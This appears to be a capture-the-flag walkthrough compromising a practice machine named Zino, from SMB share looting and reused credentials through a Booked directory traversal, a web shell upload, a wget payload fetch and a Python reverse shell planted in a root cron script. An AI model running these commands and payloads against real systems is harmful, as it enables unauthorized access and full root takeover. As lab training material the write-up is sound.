# Zino

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-34b5d6ea0dd2efda5654f3ebd695e73db5dd84c1%2Fimage.png?alt=media)

## Nmap

```
sudo nmap 192.168.249.64 -p- -sV -sS

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql?
8003/tcp open  http        Apache httpd 2.4.38
Service Info: Hosts: ZINO, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

## FTP

Initial check on FTP with anonymous login results in a login denied message.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cf2a08af314b095c7506babac5edb4b4c1531753%2Fimage.png?alt=media)

## SMB

We can check null authentication on the target with `smbmap`.

```
smbmap -u '' -p '' -R -H 192.168.249.64
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-124e2973cd3a3547221e2095db70e88877ec402e%2Fimage.png?alt=media)

Looks like we have access to the 'zino' share. I will create a directory on my attacking machine and then use `smbclient` to download available files.

```
smbclient -U '' \\\\192.168.249.64\\zino                                                                                                                                                                                           1 ⨯
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> recurse
smb: \> prompt off
smb: \> mget *
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cc44ab8870e2f9ae7f4a0ec147e8599c1de76668%2Fimage.png?alt=media)

We have a few files to go through here so I will simply highlight the interesting infromation found per file.

```
File: Local.txt

53f24e8ff9809894c0a6d324f82a9fbb
```

Looks like we have a local user flag we can submit.

```
File auth.log

Apr 28 08:16:54 zino groupadd[1044]: new group: name=peter, GID=1001
Apr 28 08:16:54 zino useradd[1048]: new user: name=peter, UID=1001, GID=1001, home=/home/peter, shell=/bin/bash
Apr 28 08:17:01 zino passwd[1056]: pam_unix(passwd:chauthtok): password changed for peter
Apr 28 08:17:01 zino CRON[1058]: pam_unix(cron:session): session opened for user root by (uid=0)
```

We now know the target has a user account by the name of 'peter'.

```
File misc.log

Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
```

For an unknown verification we have the credentials admin: `adminadmin`.

For the moment we are finished with SMB. We should next jump into Port 80.

## HTTP

Going to the root page of <http://192.168.249.64:8003> takes us to the following:

![http://192.168.249.64:8003](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-55b90d394bbe916e38dad5382434a74b75d52e59%2Fimage.png?alt=media)

Following the directory we come to the page below.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ad4716f61e7cf674fecd3b17fedbcedd4d269c28%2Fimage.png?alt=media)

I entered the credentials we found earlier of `admin:adminadmin` and was able to log in to the application.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ad4716f61e7cf674fecd3b17fedbcedd4d269c28%2Fimage.png?alt=media)

## Exploitation

A quick search for Booked exploits turns up two results. A `Metasploit` exploit and a manual exploit for directory traversal. I will concentrate on not using the `Metasploit` module for this write-up.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-67b354c7909d892604ed22beccaacd3a4121662b%2Fimage.png?alt=media)

Using the above information we can read the passwd file with the following URL.

```
http://192.168.249.64:8003/booked/Web/admin/manage_email_templates.php?dr=template&lang=en_us&tn=%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&_=1588451710324
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b17e998c06285d980bd87bcf0de45edc647f1e31%2Fimage.png?alt=media)

I tried reading possible sensitive files and even for SSH keys in the root and user home directories and was unable to gain any interesting information. I decided to stop with this route now and explore the `Metasploit` module to see if I can replicate manually.

{% embed url="<https://www.exploit-db.com/exploits/46486>" %}

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a5da4b9a6010de963c77c5270ccfee896e4ee92d%2Fimage.png?alt=media)

From reading the description we should be able to browse to the 'Look and feel' section of the site and upload our own file in place of the favicon.ico.

## Web Shell

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-abdd5323ec1332455ac84277cdd86c43eaf202a0%2Fimage.png?alt=media)

I have uploaded a simple web shell to the favicon.ico upload section. I did try a standard PHP reverse shell but was unable to get it to talk back. After the file has been uploaded browse to the following to execute.

```
http://<IP>:8003/booked/Web/custom-favicon.php
```

![http://\<IP>:8003/booked/Web/custom-favicon.php](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d54e5e2010cb2a76685671e66b413c3109db3370%2Fimage.png?alt=media)

For the next part I tried hosting a `Python SimpleHTTPServer` and getting the target machine to download a proper reverse shell but could not get it to talk back even on port 80 which was a bit weird. I ended up hosting my attacking machine on port 21 since FTP is running.

Attacking machine:

```
sudo Python2 -m SimpleHTTPServer 21
```

Web Shell:

```
wget http://<IP>:21/phpshell.php
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cb2faddab96b037223d899aab785d6bf6617865b%2Fimage.png?alt=media)

I then stopped the `Python SimpleHTTPServer` and started a `netcat` listener for the phpshell to talk back to.

Attacking machine:

```
sudo nc -lvp 21
```

I then executed the PHP shell on the web shell and received a shell back on my machine.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d9236143ba2a5619ad00804c9574dc4f1ab48e75%2Fimage.png?alt=media)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ac78624f1fe9ef94407a0f0d1db4f7b81750d752%2Fimage.png?alt=media)

## Privilege Escalation

Likely we will need the help of `linpeas.sh` to help us with privilege escalation so I once again hosted a `Python SimpleHTTPServer` on my attacking machine and downloaded `linpeas`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c3e22b54cb8fb6378142ae74d21bf56ed287d9c3%2Fimage.png?alt=media)

After running `linpeas` and looking through the output we have a cron job that is set to run every 3 minutes that stands out.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7b6c0f1d573e490215e90f18e03c30a7fce74043%2Fimage.png?alt=media)

Looking at the directory where the `cleanup.py` file resides we can see that as www-data we can edit the file.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-12f5f127629079e8ac6a3e50f28df64bdba4613e%2Fimage.png?alt=media)

Knowing that this file is executed in the context of root every 3 minutes as a cron job mean we can replace the contents of the file with something that will give us a root shell back.

First clear the content of the `cleanup.py` file with the echo command. Using an extra space in the syntax to wipe the contents of the file.

```
echo  > cleanup.py
```

Then echo the following into the file.

```
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",21));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Set a listener on the attacking machine again. I will be using port 21.

```
sudo nc -lvp 21
```

Wait around 3 minutes for the cron job to execute and you should receive a root shell back.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2f036aef51b1b3542bf0e099bb888d169a1c95ba%2Fimage.png?alt=media)
